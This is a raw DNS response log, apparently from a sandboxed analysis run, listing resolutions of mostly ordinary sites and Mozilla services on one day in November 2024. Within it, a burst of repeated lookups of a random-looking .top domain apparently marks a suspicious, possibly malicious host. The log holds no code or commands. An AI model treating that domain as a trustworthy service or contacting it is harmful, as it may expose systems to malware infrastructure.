Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.176.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.631685019 CET	1.1.1.1	192.168.2.4	0x22f2	No error (0)	youtube-ui.l.google.com		142.250.64.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.634830952 CET	1.1.1.1	192.168.2.4	0x7251	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.637310028 CET	1.1.1.1	192.168.2.4	0x5ad2	No error (0)	dyna.wikimedia.org		208.80.153.224	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.726774931 CET	1.1.1.1	192.168.2.4	0xca2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.726774931 CET	1.1.1.1	192.168.2.4	0xca2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.726774931 CET	1.1.1.1	192.168.2.4	0xca2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.726774931 CET	1.1.1.1	192.168.2.4	0xca2	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.728620052 CET	1.1.1.1	192.168.2.4	0x342	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.731419086 CET	1.1.1.1	192.168.2.4	0xab2a	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 19, 2024 22:08:10.816631079 CET	1.1.1.1	192.168.2.4	0x8d67	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.818984985 CET	1.1.1.1	192.168.2.4	0x1961	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:10.818984985 CET	1.1.1.1	192.168.2.4	0x1961	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.818984985 CET	1.1.1.1	192.168.2.4	0x1961	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.818984985 CET	1.1.1.1	192.168.2.4	0x1961	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.818984985 CET	1.1.1.1	192.168.2.4	0x1961	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.820141077 CET	1.1.1.1	192.168.2.4	0xd180	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.912437916 CET	1.1.1.1	192.168.2.4	0x44c4	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.912437916 CET	1.1.1.1	192.168.2.4	0x44c4	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.912437916 CET	1.1.1.1	192.168.2.4	0x44c4	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.912437916 CET	1.1.1.1	192.168.2.4	0x44c4	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.913593054 CET	1.1.1.1	192.168.2.4	0xc30e	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:15.094494104 CET	1.1.1.1	192.168.2.4	0xcbe3	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.550928116 CET	1.1.1.1	192.168.2.4	0x98c8	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.550956011 CET	1.1.1.1	192.168.2.4	0x98c8	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.550972939 CET	1.1.1.1	192.168.2.4	0x98c8	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.734446049 CET	1.1.1.1	192.168.2.4	0x2089	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.734487057 CET	1.1.1.1	192.168.2.4	0x2089	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.734519005 CET	1.1.1.1	192.168.2.4	0x2089	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.108139038 CET	1.1.1.1	192.168.2.4	0x9492	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.108192921 CET	1.1.1.1	192.168.2.4	0x9492	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.189552069 CET	1.1.1.1	192.168.2.4	0x9492	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.478415012 CET	1.1.1.1	192.168.2.4	0x2a1e	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.478476048 CET	1.1.1.1	192.168.2.4	0x2a1e	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.861913919 CET	1.1.1.1	192.168.2.4	0xffd0	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.861944914 CET	1.1.1.1	192.168.2.4	0xffd0	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.861963987 CET	1.1.1.1	192.168.2.4	0xffd0	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:32.919251919 CET	1.1.1.1	192.168.2.4	0xf407	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.189311981 CET	1.1.1.1	192.168.2.4	0x5898	No error (0)	youtube.com		172.217.165.142	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.189398050 CET	1.1.1.1	192.168.2.4	0x5898	No error (0)	youtube.com		172.217.165.142	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.189466000 CET	1.1.1.1	192.168.2.4	0x335	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:40.189481020 CET	1.1.1.1	192.168.2.4	0x335	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:40.189536095 CET	1.1.1.1	192.168.2.4	0xf59e	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.189573050 CET	1.1.1.1	192.168.2.4	0x4f30	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:40.189573050 CET	1.1.1.1	192.168.2.4	0x4f30	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.189589977 CET	1.1.1.1	192.168.2.4	0x4f30	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:40.189589977 CET	1.1.1.1	192.168.2.4	0x4f30	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.287908077 CET	1.1.1.1	192.168.2.4	0xb5f8	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.395090103 CET	1.1.1.1	192.168.2.4	0x9fae	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.477634907 CET	1.1.1.1	192.168.2.4	0x5750	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:40.477634907 CET	1.1.1.1	192.168.2.4	0x5750	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.641419888 CET	1.1.1.1	192.168.2.4	0xe396	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:40.641419888 CET	1.1.1.1	192.168.2.4	0xe396	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.133690119 CET	1.1.1.1	192.168.2.4	0xaf48	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.133690119 CET	1.1.1.1	192.168.2.4	0xaf48	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.133690119 CET	1.1.1.1	192.168.2.4	0xaf48	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.133690119 CET	1.1.1.1	192.168.2.4	0xaf48	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.134212971 CET	1.1.1.1	192.168.2.4	0x1fdc	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:08:43.134212971 CET	1.1.1.1	192.168.2.4	0x1fdc	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.134229898 CET	1.1.1.1	192.168.2.4	0x8ca9	No error (0)	dyna.wikimedia.org		208.80.154.224	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.228704929 CET	1.1.1.1	192.168.2.4	0x1272	No error (0)	star-mini.c10r.facebook.com		31.13.71.36	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.324542999 CET	1.1.1.1	192.168.2.4	0x871	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 19, 2024 22:09:17.482163906 CET	1.1.1.1	192.168.2.4	0x7511	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:09:37.790318012 CET	1.1.1.1	192.168.2.4	0x2a66	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:09:38.094547987 CET	1.1.1.1	192.168.2.4	0x1634	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:09:38.094547987 CET	1.1.1.1	192.168.2.4	0x1634	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:02.614077091 CET	1.1.1.1	192.168.2.4	0xd910	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:02.614077091 CET	1.1.1.1	192.168.2.4	0xd910	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:08.958005905 CET	1.1.1.1	192.168.2.4	0xa7ab	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.296880007 CET	1.1.1.1	192.168.2.4	0x73bb	No error (0)	youtube.com		142.250.64.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.436163902 CET	1.1.1.1	192.168.2.4	0x4dfe	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:09.436163902 CET	1.1.1.1	192.168.2.4	0x4dfe	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.467431068 CET	1.1.1.1	192.168.2.4	0x2fb5	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:09.467431068 CET	1.1.1.1	192.168.2.4	0x2fb5	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:09.467431068 CET	1.1.1.1	192.168.2.4	0x2fb5	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.564461946 CET	1.1.1.1	192.168.2.4	0x2a87	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.617126942 CET	1.1.1.1	192.168.2.4	0x3c96	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:09.621083975 CET	1.1.1.1	192.168.2.4	0x10a0	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.649020910 CET	1.1.1.1	192.168.2.4	0xd9cb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:09.649020910 CET	1.1.1.1	192.168.2.4	0xd9cb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.727863073 CET	1.1.1.1	192.168.2.4	0xecd8	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.774048090 CET	1.1.1.1	192.168.2.4	0x4a34	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:09.774048090 CET	1.1.1.1	192.168.2.4	0x4a34	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:23.013704062 CET	1.1.1.1	192.168.2.4	0x15b9	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:23.013704062 CET	1.1.1.1	192.168.2.4	0x15b9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:23.568749905 CET	1.1.1.1	192.168.2.4	0x76bd	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:25.580317020 CET	1.1.1.1	192.168.2.4	0xedb7	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:25.580317020 CET	1.1.1.1	192.168.2.4	0xedb7	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:25.580317020 CET	1.1.1.1	192.168.2.4	0xedb7	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506295919 CET	1.1.1.1	192.168.2.4	0x109c	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506295919 CET	1.1.1.1	192.168.2.4	0x109c	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.176.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.251.40.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.64.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.251.40.142	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.251.32.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.80.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.251.35.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.64.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.506692886 CET	1.1.1.1	192.168.2.4	0xb611	No error (0)	youtube-ui.l.google.com		142.251.40.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.508111000 CET	1.1.1.1	192.168.2.4	0xb11	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 19, 2024 22:10:26.598186970 CET	1.1.1.1	192.168.2.4	0xccc9	No error (0)	star-mini.c10r.facebook.com		57.144.180.1	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.598802090 CET	1.1.1.1	192.168.2.4	0xf3a3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 22:10:26.598802090 CET	1.1.1.1	192.168.2.4	0xf3a3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 22:10:26.598802090 CET	1.1.1.1	192.168.2.4	0xf3a3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 22:10:26.598802090 CET	1.1.1.1	192.168.2.4	0xf3a3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 19, 2024 22:10:26.599050045 CET	1.1.1.1	192.168.2.4	0xa312	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:26.599050045 CET	1.1.1.1	192.168.2.4	0xa312	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.599050045 CET	1.1.1.1	192.168.2.4	0xa312	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.599050045 CET	1.1.1.1	192.168.2.4	0xa312	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.599050045 CET	1.1.1.1	192.168.2.4	0xa312	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.690171003 CET	1.1.1.1	192.168.2.4	0x1c6a	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 19, 2024 22:10:26.690747976 CET	1.1.1.1	192.168.2.4	0x2a9d	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.690747976 CET	1.1.1.1	192.168.2.4	0x2a9d	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.690747976 CET	1.1.1.1	192.168.2.4	0x2a9d	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.690747976 CET	1.1.1.1	192.168.2.4	0x2a9d	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:29.090276957 CET	1.1.1.1	192.168.2.4	0x460e	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:49.396610022 CET	1.1.1.1	192.168.2.4	0x38c1	No error (0)	youtube.com		142.250.80.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:49.398080111 CET	1.1.1.1	192.168.2.4	0xbcf8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 19, 2024 22:10:49.636686087 CET	1.1.1.1	192.168.2.4	0x99aa	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:49.714628935 CET	1.1.1.1	192.168.2.4	0xea82	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:49.730945110 CET	1.1.1.1	192.168.2.4	0x85aa	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:49.730945110 CET	1.1.1.1	192.168.2.4	0x85aa	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:50.065634012 CET	1.1.1.1	192.168.2.4	0x51ab	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.362912893 CET	1.1.1.1	192.168.2.4	0x5b58	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:53.362912893 CET	1.1.1.1	192.168.2.4	0x5b58	No error (0)	dyna.wikimedia.org		208.80.154.224	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.363518953 CET	1.1.1.1	192.168.2.4	0xc00	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.363718987 CET	1.1.1.1	192.168.2.4	0xbe41	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:10:53.363718987 CET	1.1.1.1	192.168.2.4	0xbe41	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.363718987 CET	1.1.1.1	192.168.2.4	0xbe41	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.363718987 CET	1.1.1.1	192.168.2.4	0xbe41	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.363718987 CET	1.1.1.1	192.168.2.4	0xbe41	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:53.455677032 CET	1.1.1.1	192.168.2.4	0x70d6	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 19, 2024 22:11:05.357590914 CET	1.1.1.1	192.168.2.4	0x790a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:10.842308998 CET	1.1.1.1	192.168.2.4	0x471f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:11:10.842308998 CET	1.1.1.1	192.168.2.4	0x471f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.244854927 CET	1.1.1.1	192.168.2.4	0x2f53	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 22:11:19.244854927 CET	1.1.1.1	192.168.2.4	0x2f53	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.259422064 CET	1.1.1.1	192.168.2.4	0xd233	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.259422064 CET	1.1.1.1	192.168.2.4	0xd233	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.259422064 CET	1.1.1.1	192.168.2.4	0xd233	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.259422064 CET	1.1.1.1	192.168.2.4	0xd233	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.338088989 CET	1.1.1.1	192.168.2.4	0x5116	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.431066990 CET	1.1.1.1	192.168.2.4	0x4c91	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.431066990 CET	1.1.1.1	192.168.2.4	0x4c91	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.431066990 CET	1.1.1.1	192.168.2.4	0x4c91	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:19.431066990 CET	1.1.1.1	192.168.2.4	0x4c91	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:25.813499928 CET	1.1.1.1	192.168.2.4	0x45be	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:42.082488060 CET	1.1.1.1	192.168.2.4	0x7354	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:54.275850058 CET	1.1.1.1	192.168.2.4	0xdc82	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:11:54.568073988 CET	1.1.1.1	192.168.2.4	0xce37	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
